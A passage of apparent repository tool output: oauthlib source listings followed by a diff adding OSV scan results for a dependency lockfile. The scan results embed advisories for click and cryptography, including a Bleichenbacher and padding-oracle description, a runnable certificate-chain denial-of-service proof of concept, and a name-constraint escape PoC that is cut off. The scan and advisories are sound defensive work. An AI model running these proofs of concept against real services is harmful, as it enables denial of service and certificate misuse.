errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:495: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:496: challenge_method = self.request_validator.get_code_challenge_method(request.code, request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:497: if challenge_method is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:498: raise errors.InvalidGrantError(request=request, description="Challenge method not found") +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:499: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:500: if challenge_method not in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:501: raise errors.ServerError( +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:502: description="code_challenge_method {} is not supported.".format(challenge_method), +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:503: request=request +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:504: ) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:505: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:506: if not self.validate_code_challenge(challenge, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:507: challenge_method, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:508: request.code_verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:509: log.debug('request provided a invalid code_verifier.') +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:510: raise errors.InvalidGrantError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:511: elif self.request_validator.is_pkce_required(request.client_id, request) is True: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:512: if request.code_verifier is None: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:513: raise errors.MissingCodeVerifierError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:531: request.using_default_redirect_uri = False +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:532: log.debug('Using provided redirect_uri %s', request.redirect_uri) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:533: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:534: if not self.request_validator.confirm_redirect_uri(request.client_id, request.code, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:535: request.redirect_uri, request.client, +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:536: request): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:537: log.debug('Redirect_uri (%r) invalid for client %r (%r).', +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:538: request.redirect_uri, request.client_id, request.client) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:539: raise errors.MismatchingRedirectURIError(request=request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:540: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:541: for validator in self.custom_validators.post_token: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:542: validator(request) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:543: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:544: def validate_code_challenge(self, challenge, challenge_method, verifier): +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:545: if challenge_method in self._code_challenge_methods: +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:546: return self._code_challenge_methods[challenge_method](verifier, challenge) +oauthlib/oauth2/rfc6749/grant_types/authorization_code.py:547: raise NotImplementedError('Unknown challenge_method %s' % challenge_method) +# RevocationEndpoint construction in OAuthlib's own preconfigured servers +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py sha256 6fe072e29e94f0bb6fa65bf8a223893b2702e8d77c52494b389f75bb3ebc6316 +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:92: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:93: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:94: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:95: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:145: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:146: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:147: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:148: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:188: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:189: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:190: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:191: IntrospectEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:239: RevocationEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:240: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:241: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:242: +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:282: RevocationEndpoint.__init__( +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:283: self, request_validator, supported_token_types=["access_token"] +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:284: ) +oauthlib/oauth2/rfc6749/endpoints/pre_configured.py:285: IntrospectEndpoint.__init__( +oauthlib/openid/connect/core/endpoints/pre_configured.py sha256 bc6ff1a5fa23c2dcc3a782125e13d93355e73abf2e4fadc406b86ebce121e7ee +oauthlib/openid/connect/core/endpoints/pre_configured.py:137: RevocationEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:138: IntrospectEndpoint.__init__(self, request_validator) +oauthlib/openid/connect/core/endpoints/pre_configured.py:139: UserInfoEndpoint.__init__(self, request_validator) + +stderr: diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-after.json b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-after.json new file mode 100644 index 000000000..939d28473 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-after.json @@ -0,0 +1,9 @@ +{ + "results": [], + "experimental_config": { + "licenses": { + "summary": false, + "allowlist": null + } + } +} diff --git a/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-before.json b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-before.json new file mode 100644 index 000000000..10c1818f1 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/wheel-relock-20260930-osv-before.json @@ -0,0 +1,4872 @@ +{ + "results": [ + { + "source": { + "path": "/blueprints/runtime-workers/openhands/requirements.lock", + "type": "lockfile" + }, + "packages": [ + { + "package": { + "name": "click", + "version": "8.1.8", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "PYSEC-2026-2132" + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw", + "PYSEC-2026-2132" + ], + "max_severity": "7.2" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/click/PYSEC-2026-2132.yaml" + }, + "ecosystem_specific": {}, + "package": { + "ecosystem": "PyPI", + "name": "click", + "purl": "pkg:pypi/click" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "8.3.3" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1", + "0.2", + "0.3", + "0.4", + "0.5", + "0.5.1", + "0.6", + "0.7", + "1.0", + "1.1", + "2.0", + "2.1", + "2.2", + "2.3", + "2.4", + "2.5", + "2.6", + "3.0", + "3.1", + "3.2", + "3.3", + "4.0", + "4.1", + "5.0", + "5.1", + "6.0", + "6.1", + "6.2", + "6.3", + "6.4", + "6.5", + "6.6", + "6.7", + "6.7.dev0", + "7.0", + "7.1", + "7.1.1", + "7.1.2", + "8.0.0", + "8.0.0a1", + "8.0.0rc1", + "8.0.1", + "8.0.2", + "8.0.3", + "8.0.4", + "8.1.0", + "8.1.1", + "8.1.2", + "8.1.3", + "8.1.4", + "8.1.5", + "8.1.6", + "8.1.7", + "8.1.8", + "8.2.0", + "8.2.1", + "8.2.2", + "8.3.0", + "8.3.1", + "8.3.2" + ] + } + ], + "aliases": [ + "CVE-2026-7246", + "GHSA-47fr-3ffg-hgmw" + ], + "details": "Pallets Click, versions 8.3.2 and below, contain a command injection vulnerability in the click.edit() function, allowing attackers to pass arbitrary OS commands from an unprivileged account.", + "id": "PYSEC-2026-2132", + "modified": "2026-07-13T07:15:21.899333658Z", + "published": "2026-04-30T14:16:36.433Z", + "references": [ + { + "type": "WEB", + "url": "https://access.redhat.com/security/cve/CVE-2026-7246" + }, + { + "type": "WEB", + "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-7246.json" + }, + { + "type": "ADVISORY", + "url": "https://access.redhat.com/errata/RHSA-2026:24761" + }, + { + "type": "ADVISORY", + "url": "https://access.redhat.com/errata/RHSA-2026:24762" + }, + { + "type": "REPORT", + "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464121" + }, + { + "type": "FIX", + "url": "https://github.com/pallets/click/releases/tag/8.3.3" + }, + { + "type": "EVIDENCE", + "url": "https://github.com/tsigouris007/security-advisories/security/advisories/GHSA-47fr-3ffg-hgmw" + } + ], + "schema_version": "1.7.5", + "severity": [ + { + "score": "CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H", + "type": "CVSS_V3" + } + ] + } + ] + }, + { + "package": { + "name": "cryptography", + "version": "48.0.1", + "ecosystem": "PyPI" + }, + "groups": [ + { + "ids": [ + "PYSEC-2026-3552", + "GHSA-g6cj-pr64-35w5" + ], + "aliases": [ + "CVE-2026-69247", + "GHSA-g6cj-pr64-35w5", + "PYSEC-2026-3552" + ], + "max_severity": "8.2" + }, + { + "ids": [ + "PYSEC-2026-3553", + "GHSA-jwv3-5hgf-82ww" + ], + "aliases": [ + "CVE-2026-69249", + "GHSA-jwv3-5hgf-82ww", + "PYSEC-2026-3553" + ], + "max_severity": "8.7" + }, + { + "ids": [ + "PYSEC-2026-3554", + "GHSA-m2h6-j472-rp4c" + ], + "aliases": [ + "CVE-2026-69248", + "GHSA-m2h6-j472-rp4c", + "PYSEC-2026-3554" + ], + "max_severity": "6.9" + } + ], + "vulnerabilities": [ + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3552.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "44.0.0" + }, + { + "fixed": "50.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "44.0.0", + "44.0.1", + "44.0.2", + "44.0.3", + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1", + "49.0.0" + ] + } + ], + "aliases": [ + "CVE-2026-69247", + "GHSA-g6cj-pr64-35w5" + ], + "details": "### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s `encryptedKey` in several\ndistinguishable ways, one of which disclosed the exact length recovered from the\nRSA operation. The same distinction was also observable by timing. An\napplication that decrypts attacker-supplied `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed in 50.0.0.\n\n### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218 mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a synthetic plaintext of\npseudorandom length, so the error channel does not distinguish conforming\nciphertexts.\n\nExploitation requires a service that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate and answers adaptively at high volume, such as\nan S/MIME gateway or mail filter.\n\n### Fix\n\nPer RFC 3218, the content-encryption algorithm is now resolved before the\nprivate key is used, so the expected key length is known in advance. If the RSA\ndecryption fails or recovers a key of the wrong length, a random key of the\nexpected length is substituted and decryption continues down an identical path.\nAll failures now report identically and perform the same work.\n\n### Not addressed by this fix\n\n`EnvelopedData` does not authenticate its content. Tampering with\n`encryptedContent` alone yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries per byte, without recovering any key, on every backend. This\nis a property of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library, and is now documented.\n\n### Credit\n\nReported by @X1AOxiang.", + "id": "PYSEC-2026-3552", + "modified": "2026-08-04T14:30:15.036332054Z", + "published": "2026-08-04T11:34:47.697724Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/15369" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/cryptography" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-g6cj-pr64-35w5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69247" + } + ], + "schema_version": "1.8.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3553.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "49.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1", + "0.2", + "0.2.1", + "0.2.2", + "0.3", + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.5.4", + "0.6", + "0.6.1", + "0.7", + "0.7.1", + "0.7.2", + "0.8", + "0.8.1", + "0.8.2", + "0.9", + "0.9.1", + "0.9.2", + "0.9.3", + "1.0", + "1.0.1", + "1.0.2", + "1.1", + "1.1.1", + "1.1.2", + "1.2", + "1.2.1", + "1.2.2", + "1.2.3", + "1.3", + "1.3.1", + "1.3.2", + "1.3.3", + "1.3.4", + "1.4", + "1.5", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6", + "1.7", + "1.7.1", + "1.7.2", + "1.8", + "1.8.1", + "1.8.2", + "1.9", + "2.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.1", + "2.1.1", + "2.1.2", + "2.1.3", + "2.1.4", + "2.2", + "2.2.1", + "2.2.2", + "2.3", + "2.3.1", + "2.4", + "2.4.1", + "2.4.2", + "2.5", + "2.6", + "2.6.1", + "2.7", + "2.8", + "2.9", + "2.9.1", + "2.9.2", + "3.0", + "3.1", + "3.1.1", + "3.2", + "3.2.1", + "3.3", + "3.3.1", + "3.3.2", + "3.4", + "3.4.1", + "3.4.2", + "3.4.3", + "3.4.4", + "3.4.5", + "3.4.6", + "3.4.7", + "3.4.8", + "35.0.0", + "36.0.0", + "36.0.1", + "36.0.2", + "37.0.0", + "37.0.1", + "37.0.2", + "37.0.3", + "37.0.4", + "38.0.0", + "38.0.1", + "38.0.2", + "38.0.3", + "38.0.4", + "39.0.0", + "39.0.1", + "39.0.2", + "40.0.0", + "40.0.1", + "40.0.2", + "41.0.0", + "41.0.1", + "41.0.2", + "41.0.3", + "41.0.4", + "41.0.5", + "41.0.6", + "41.0.7", + "42.0.0", + "42.0.1", + "42.0.2", + "42.0.3", + "42.0.4", + "42.0.5", + "42.0.6", + "42.0.7", + "42.0.8", + "43.0.0", + "43.0.1", + "43.0.3", + "44.0.0", + "44.0.1", + "44.0.2", + "44.0.3", + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1" + ] + } + ], + "aliases": [ + "CVE-2026-69249", + "GHSA-jwv3-5hgf-82ww" + ], + "details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n &self,\n working_cert: &VerificationCertificate<'chain, B>,\n current_depth: u8,\n working_cert_extensions: &Extensions<'chain>,\n name_chain: NameChain<'_, 'chain>,\n budget: &mut Budget,\n ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(&nc.value()?, budget)?;\n }\n\n // Look in the store's root set to see if the working cert is listed.\n // If it is, we've reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain's length, not the root or leaf.\n if current_depth > self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option> = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n &issuer_extensions,\n ) {\n Ok(_) => {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) => {\n if seen_valid_issuers.contains(&issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924 -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193 -> 3,8,rejected,0.001811\n4,8,timeout>5s, -> 4,8,rejected,0.002410\n5,7,timeout>5s, -> 5,7,rejected,0.002640\n6,6,timeout>5s, -> 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.", + "id": "PYSEC-2026-3553", + "modified": "2026-08-04T14:30:26.222821809Z", + "published": "2026-08-04T11:34:47.857042Z", + "references": [ + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/pull/14960" + }, + { + "type": "WEB", + "url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582" + }, + { + "type": "PACKAGE", + "url": "https://github.com/pyca/cryptography" + }, + { + "type": "PACKAGE", + "url": "https://pypi.org/project/cryptography" + }, + { + "type": "ADVISORY", + "url": "https://github.com/advisories/GHSA-jwv3-5hgf-82ww" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249" + } + ], + "schema_version": "1.8.0", + "severity": [ + { + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", + "type": "CVSS_V4" + } + ], + "summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building" + }, + { + "affected": [ + { + "database_specific": { + "source": "https://github.com/pypa/advisory-database/blob/main/vulns/cryptography/PYSEC-2026-3554.yaml" + }, + "package": { + "ecosystem": "PyPI", + "name": "cryptography", + "purl": "pkg:pypi/cryptography" + }, + "ranges": [ + { + "events": [ + { + "introduced": "0" + }, + { + "fixed": "49.0.0" + } + ], + "type": "ECOSYSTEM" + } + ], + "versions": [ + "0.1", + "0.2", + "0.2.1", + "0.2.2", + "0.3", + "0.4", + "0.5", + "0.5.1", + "0.5.2", + "0.5.3", + "0.5.4", + "0.6", + "0.6.1", + "0.7", + "0.7.1", + "0.7.2", + "0.8", + "0.8.1", + "0.8.2", + "0.9", + "0.9.1", + "0.9.2", + "0.9.3", + "1.0", + "1.0.1", + "1.0.2", + "1.1", + "1.1.1", + "1.1.2", + "1.2", + "1.2.1", + "1.2.2", + "1.2.3", + "1.3", + "1.3.1", + "1.3.2", + "1.3.3", + "1.3.4", + "1.4", + "1.5", + "1.5.1", + "1.5.2", + "1.5.3", + "1.6", + "1.7", + "1.7.1", + "1.7.2", + "1.8", + "1.8.1", + "1.8.2", + "1.9", + "2.0", + "2.0.1", + "2.0.2", + "2.0.3", + "2.1", + "2.1.1", + "2.1.2", + "2.1.3", + "2.1.4", + "2.2", + "2.2.1", + "2.2.2", + "2.3", + "2.3.1", + "2.4", + "2.4.1", + "2.4.2", + "2.5", + "2.6", + "2.6.1", + "2.7", + "2.8", + "2.9", + "2.9.1", + "2.9.2", + "3.0", + "3.1", + "3.1.1", + "3.2", + "3.2.1", + "3.3", + "3.3.1", + "3.3.2", + "3.4", + "3.4.1", + "3.4.2", + "3.4.3", + "3.4.4", + "3.4.5", + "3.4.6", + "3.4.7", + "3.4.8", + "35.0.0", + "36.0.0", + "36.0.1", + "36.0.2", + "37.0.0", + "37.0.1", + "37.0.2", + "37.0.3", + "37.0.4", + "38.0.0", + "38.0.1", + "38.0.2", + "38.0.3", + "38.0.4", + "39.0.0", + "39.0.1", + "39.0.2", + "40.0.0", + "40.0.1", + "40.0.2", + "41.0.0", + "41.0.1", + "41.0.2", + "41.0.3", + "41.0.4", + "41.0.5", + "41.0.6", + "41.0.7", + "42.0.0", + "42.0.1", + "42.0.2", + "42.0.3", + "42.0.4", + "42.0.5", + "42.0.6", + "42.0.7", + "42.0.8", + "43.0.0", + "43.0.1", + "43.0.3", + "44.0.0", + "44.0.1", + "44.0.2", + "44.0.3", + "45.0.0", + "45.0.1", + "45.0.2", + "45.0.3", + "45.0.4", + "45.0.5", + "45.0.6", + "45.0.7", + "46.0.0", + "46.0.1", + "46.0.2", + "46.0.3", + "46.0.4", + "46.0.5", + "46.0.6", + "46.0.7", + "47.0.0", + "48.0.0", + "48.0.1" + ] + } + ], + "aliases": [ + "CVE-2026-69248", + "GHSA-m2h6-j472-rp4c" + ], + "details": "### Summary\nIf an intermediate constrained CA permits the DNS name `foo.example.com`, and the leaf certificate has a wildcard in its DNS SAN of `*.example.com`, python-cryptography's verifier accepts which allows escaping outside of the permitted names.\n\n### PoC\n\n```\n#!/usr/bin/env python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.\n\nSetup:\n Sub-CA permitted constraint: dNSName = foo.example.com\n Leaf SAN: dNSName = *.example.com\nExpected: rejection (RFC 5280 \u00a74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts; further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com` and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.verification import (\n PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef build(subject, issuer, key, issuer_key, ca, exts=()):\n b = (x509.CertificateBuilder()\n .subject_name(subject).issuer_name(issuer)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - 30 * day)\n .not_valid_after(now + 3650 * day)\n .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))\n for e, c in exts:\n b = b.add_extension(e, c)\n return 